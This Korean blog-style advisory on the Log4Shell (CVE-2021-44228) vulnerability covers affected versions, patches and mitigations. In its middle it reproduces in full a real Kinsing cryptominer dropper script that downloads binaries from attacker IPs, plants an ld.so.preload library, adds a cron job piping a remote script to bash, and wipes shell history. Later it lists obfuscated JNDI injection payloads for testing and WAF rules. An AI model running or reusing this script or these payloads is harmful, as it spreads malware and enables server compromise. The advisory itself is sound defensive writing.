CVE-2021-44228 취약점

2021년 12월 10일. CVE-2021-44228 취약점이 공개 되었습니다.
현재 수많은 사이트 등에서 다수의 스캔 흔적이 포착 된것으로 확인 됩니다.
자바 어플리케이션을 사용하는 곳은 모두 체크 해봐야 합니다.

영향 받는 버전

Log4j 2.x <= 2.14.1

Logback 및 Log4j 1.x 버전은 이번 CVE 에 영향 받지 않습니다. 하지만 log4j 1.x 버전은 이전에 발표된 CVE 영향을 받습니다. 아래 내용 참조.

취약점 내용

로그 메시지 및 매개변수에 사용되는 JNDI 기능을 이용하여 공격자가 작성한 LDAP 또는 기타 프로토콜을 통해 임의의 코드가 실행 될 수 있음

Log4j 에선 message lookup 기능을 제공 합니다.
(https://logging.apache.org/log4j/2.x/manual/lookups.html)
하지만 만약 로그에 특정 파라미터나 http header 라던가 body 라던가 등을 기록한다고 했을 때
아래의 이미지 처럼 파라미터를 던지고 그걸 로깅하려 할 때 Log4j2 에서는 lookup을 시도 하게 되고
해당 데이터를 통해 임의의 코드가 실행 될 수 있습니다.

실제로 어떤 사이트에선 curl wget 등을 통해 쉘 스크립트를 받아 실행되도록 만들어져 있었습니다.
전체 내용은 아래에 첨부 해두었습니다.

#!/bin/bash

ulimit -n 65535

chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}

if [ -s /usr/bin/curl ]; then
  echo "found curl"
elif [ -s /usr/bin/wget ]; then
  echo "found wget"
else
  echo "found none"
  if [ "$(id -u)" -ne "$ROOTUID" ] ; then
    echo "not root"
  else
    apt-get update
    apt-get install -y curl
    apt-get install -y wget
    apt-get install -y cron
  fi
fi


SERVICE_NAME="bot"
BIN_NAME="kinsing"
SO_NAME="libsystem.so"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
  BIN_PATH="/tmp"
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH not exists or not writeable"
    mkdir /tmp
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /var/tmp"
    BIN_PATH="/var/tmp"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    TMP_DIR=$(mktemp -d)
    echo "$BIN_PATH replacing with $TMP_DIR"
    BIN_PATH="$TMP_DIR"
  fi
  if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
    echo "$BIN_PATH replacing with /dev/shm"
    BIN_PATH="/dev/shm"
  fi
  if [ -e "$BIN_PATH/$BIN_NAME" ]; then
    echo "$BIN_PATH/$BIN_NAME exists"
    if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
      echo "$BIN_PATH/$BIN_NAME not writeable"
      TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
      BIN_NAME="kinsing_$TMP_BIN_NAME"
    else
      echo "writeable $BIN_PATH/$BIN_NAME"
    fi
  fi
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"

BIN_MD5="648effa354b3cbaad87b45f48d59c616"
BIN_DOWNLOAD_URL="http://82.118.18.201/kinsing"
BIN_DOWNLOAD_URL2="http://82.118.18.201/kinsing"
CURL_DOWNLOAD_URL="http://82.118.18.201/curl-amd64"

SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://82.118.18.201/libsystem.so"
SO_DOWNLOAD_URL2="http://82.118.18.201/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"


LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
  LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
  LDR="wget -q -O -"
fi

if [ -x "$(command -v curl)" ]; then
  WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
  WGET="wget -O"
else
  curl -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/curl; chmod +x /usr/local/bin/curl
  /usr/local/bin/curl -V && WGET="/usr/local/bin/curl -o"
  /usr/local/bin/curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/curl; chmod +x $HOME/curl
  $HOME/curl -V && WGET="$HOME/curl -o"
  $HOME/curl -V || __curl "$CURL_DOWNLOAD_URL" > $BIN_PATH/curl; chmod +x $BIN_PATH/curl
  $BIN_PATH/curl -V && WGET="$BIN_PATH/curl -o"
fi
echo "wget is $WGET"

ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
  rm -rf $BIN_FULL_PATH
  rm -rf $SO_FULL_PATH
  rm -rf $BIN_PATH/kdevtmpfsi
  rm -rf $BIN_PATH/libsystem.so
  rm -rf /tmp/kdevtmpfsi
  echo "found /dev"
else
  echo "not found /dev"
fi

download() {
  DOWNLOAD_PATH=$1
  DOWNLOAD_URL=$2
  if [ -L $DOWNLOAD_PATH ]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  if [[ -d $DOWNLOAD_PATH ]]
  then
    rm -rf $DOWNLOAD_PATH
  fi
  chmod 777 $DOWNLOAD_PATH
  $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
  chmod +x $DOWNLOAD_PATH
}

checkExists() {
  CHECK_PATH=$1
  MD5=$2
  sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
  retval=""
  if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
  else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
  fi
  echo "$retval"
}

getSystemd() {
  AUTOSTART_PATH=$1
  echo "[Unit]"
  echo "Description=Start daemon at boot time"
  echo "After="
  echo "Requires="
  echo "[Service]"
  echo "Type=forking"
  echo "RestartSec=10s"
  echo "Restart=always"
  echo "TimeoutStartSec=5"
  echo "ExecStart=$AUTOSTART_PATH"
  echo "[Install]"
  echo "WantedBy=multi-user.target"
}

kill(){
  ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
  pkill -f 42.112.28.216
  netstat -anp | grep "207.38.87.6" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  netstat -anp | grep "42.112.28.216:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  pkill -f .git/kthreaddw
  pkill -f 80.211.206.105
  pkill -f 207.38.87.6
  pkill -f p8444
  pkill -f supportxmr
  pkill -f monero
  pkill -f kthreaddi
  pkill -f srv00
  pkill -f /tmp/.javae/javae
  pkill -f .javae
  pkill -f .syna
  pkill -f .main
  pkill -f xmm
  pkill -f solr.sh
  pkill -f /tmp/.solr/solrd
  pkill -f /tmp/javac
  pkill -f /tmp/.go.sh
  pkill -f /tmp/.x/agetty
  pkill -f /tmp/.x/kworker
  pkill -f c3pool
  pkill -f /tmp/.X11-unix/gitag-ssh
  pkill -f /tmp/1
  pkill -f /tmp/okk.sh
  pkill -f /tmp/gitaly
  pkill -f /tmp/.x/kworker
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  pkill -f /tmp/.X11-unix/supervise
  pkill -f /tmp/.ssh/redis.sh
  ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  cat /tmp/.X11-unix/01|xargs -I % kill -9 %
  cat /tmp/.X11-unix/11|xargs -I % kill -9 %
  cat /tmp/.X11-unix/22|xargs -I % kill -9 %
  cat /tmp/.pg_stat.0|xargs -I % kill -9 %
  cat /tmp/.pg_stat.1|xargs -I % kill -9 %
  cat $HOME/data/./oka.pid|xargs -I % kill -9 %
  pkill -f zsvc
  pkill -f pdefenderd
  pkill -f updatecheckerd
  pkill -f cruner
  pkill -f dbused
  pkill -f bashirc
  pkill -f meminitsrv
  ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
  ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
  ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
  ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
}

kill
autoinit() {
  getSystemd $BIN_FULL_PATH >/lib/systemd/system/$SERVICE_NAME.service
  systemctl enable $SERVICE_NAME
  systemctl start $SERVICE_NAME
}

so() {
  soExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
  if [ "$soExists" == "true" ]; then
    echo "$SO_FULL_PATH exists and checked"
  else
    echo "$SO_FULL_PATH not exists"
    download $SO_FULL_PATH $SO_DOWNLOAD_URL
    binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
    if [ "$soExists" == "true" ]; then
      echo "$SO_FULL_PATH after download exists and checked"
    else
      echo "$SO_FULL_PATH after download not exists"
      download $SO_FULL_PATH $SO_DOWNLOAD_URL2
      binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
      if [ "$soExists" == "true" ]; then
        echo "$SO_FULL_PATH after download2 exists and checked"
      else
        echo "$SO_FULL_PATH after download2 not exists"
      fi
    fi
  fi
  echo $SO_FULL_PATH >/etc/ld.so.preload
}

cleanCron() {
  crontab -l | sed '/base64/d' | crontab -
  crontab -l | sed '/_cron/d' | crontab -
  crontab -l | sed '/31.210.20.181/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  crontab -l | sed '/logo4/d' | crontab -
  crontab -l | sed '/logo9/d' | crontab -
  crontab -l | sed '/logo0/d' | crontab -
  crontab -l | sed '/logo/d' | crontab -
  crontab -l | sed '/tor2web/d' | crontab -
  crontab -l | sed '/jpg/d' | crontab -
  crontab -l | sed '/png/d' | crontab -
  crontab -l | sed '/tmp/d' | crontab -
  crontab -l | sed '/zmreplchkr/d' | crontab -
  crontab -l | sed '/aliyun.one/d' | crontab -
  crontab -l | sed '/3.215.110.66.one/d' | crontab -
  crontab -l | sed '/pastebin/d' | crontab -
  crontab -l | sed '/onion/d' | crontab -
  crontab -l | sed '/lsd.systemten.org/d' | crontab -
  crontab -l | sed '/shuf/d' | crontab -
  crontab -l | sed '/ash/d' | crontab -
  crontab -l | sed '/mr.sh/d' | crontab -
  crontab -l | sed '/185.181.10.234/d' | crontab -
  crontab -l | sed '/localhost.xyz/d' | crontab -
  crontab -l | sed '/45.137.151.106/d' | crontab -
  crontab -l | sed '/111.90.159.106/d' | crontab -
  crontab -l | sed '/github/d' | crontab -
  crontab -l | sed '/bigd1ck.com/d' | crontab -
  crontab -l | sed '/xmr.ipzse.com/d' | crontab -
  crontab -l | sed '/185.181.10.234/d' | crontab -
  crontab -l | sed '/146.71.79.230/d' | crontab -
  crontab -l | sed '/122.51.164.83/d' | crontab -
  crontab -l | sed '/newdat.sh/d' | crontab -
  crontab -l | sed '/lib.pygensim.com/d' | crontab -
  crontab -l | sed '/t.amynx.com/d' | crontab -
  crontab -l | sed '/update.sh/d' | crontab -
  crontab -l | sed '/systemd-service.sh/d' | crontab -
  crontab -l | sed '/pg_stat.sh/d' | crontab -
  crontab -l | sed '/sleep/d' | crontab -
  crontab -l | sed '/oka/d' | crontab -
  crontab -l | sed '/linux1213/d' | crontab -
  crontab -l | sed '/#wget/d' | crontab -
  crontab -l | sed '/#curl/d' | crontab -
  crontab -l | sed '/zsvc/d' | crontab -
  crontab -l | sed '/givemexyz/d' | crontab -
  crontab -l | sed '/world/d' | crontab -
  crontab -l | sed '/1.sh/d' | crontab -
  crontab -l | sed '/3.sh/d' | crontab -
  crontab -l | sed '/workers/d' | crontab -
  crontab -l | sed '/oracleservice/d' | crontab -
}

binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
  echo "$BIN_FULL_PATH exists and checked"
else
  echo "$BIN_FULL_PATH not exists"
  download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
  binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
  if [ "$binExists" == "true" ]; then
    echo "$BIN_FULL_PATH after download exists and checked"
  else
    echo "$BIN_FULL_PATH after download not exists"
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" == "true" ]; then
      echo "$BIN_FULL_PATH after download2 exists and checked"
    else
      echo "$BIN_FULL_PATH after download2 not exists"
    fi
  fi
fi

so
if [ -L /tmp/kdevtmpfsi ]
then
  rm -rf /tmp/kdevtmpfsi
fi
rm -rf /tmp/kdevtmpfsi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=lh $BIN_FULL_PATH

if [[ $(id -u) -ne 0 ]]; then
  echo "Running as not root"
else
  echo "Running as root"
  autoinit
fi

cleanCron

crontab -l | grep -e "185.191.32.198" | grep -v grep
if [ $? -eq 0 ]; then
  echo "cron good"
else
  (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://185.191.32.198/lh.sh | bash > /dev/null 2>&1"
  ) | crontab -
fi

history -c
rm -rf ~/.bash_history
history -c

내용이 아주 악랄합니다.

현재 까지 확인 된 영향 받은 제품/서비스

Product/Service	Confirmed Affected
Minecraft	Yes
Steam	Yes
Apple iCloud	Yes
Tencent	Yes
Twitter	Yes
Baidu	Yes
Didi	Yes
Cloudflare	Yes
Amazon	Yes
Tesla	Yes
ElasticSearch	Yes
Ghidra	Yes

GitHub repository 참조

패치 내용 (log4j2)

https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3

Restrict LDAP access via JNDI (#608) · apache/logging-log4j2@c77b3cb

* Restrict LDAP access via JNDI * Disable most JNDI protocols * Rename test. Various minor fixes * LOG4J2-3201 - Limit the protocols JNDI can use by default. Limit the servers and classes ...

github.com

링크 참조

테스트 방법

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

https://github.com/mwarnerblu/Log4ShellScanner

링크를 참조 하여 테스트 가능 합니다.
대략 적인 패턴은

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

이렇습니다. 참고하세요! 주로 해당 패턴 위주로 WAF 에 RULE 설정하여 WAF에서도 방어 합니다.

조치 방법

1. 업그레이드

버전을 2.16.0 이상으로 업그레이드 한다. (글 작성 시간 기준 2.16.0 이 가장 최신)

*2021. 12. 14 10시 기준, Log4j2 2.16.0 이 릴리즈 되었습니다.
https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0
JNDI 가 기본적으로 disable 되었고, 메시지 룩업 기능이 제거 되었습니다.

Maven

<properties>
	<log4j2.version>2.16.0</log4j2.version>
</properties>

Gradle

ext['log4j2.version'] = '2.16.0'

또는

implementation(platform("org.apache.logging.log4j:log4j-bom:2.16.0"))

2. 설정 변경 (from 2.0-beta9 to 2.10.0)
시스템 프로퍼티

log4j2.formatMsgNoLookups=true

또는 환경 변수

export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. JNDI Lookup 제거 (from 2.0-beta9 ~ 2.10.0)
아래 명령을 통하여 log4j 라이브러리에서 JndiLookup 클래스 제거

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Spring Boot

Spring Boot 는 기본적으로 Logback 을 사용하기 때문에 별도로 설정하지 않았으면 취약점에 노출되지 않았습니다.

Log4j 1.x

Log4j 1.x 는 EOS 되었고 CVE-2019-17571 영향을 받습니다.
Log4j 2.15.0 이상으로 업그레이드를 추천합니다.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17571

CVE - CVE-2019-17571

20191014 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

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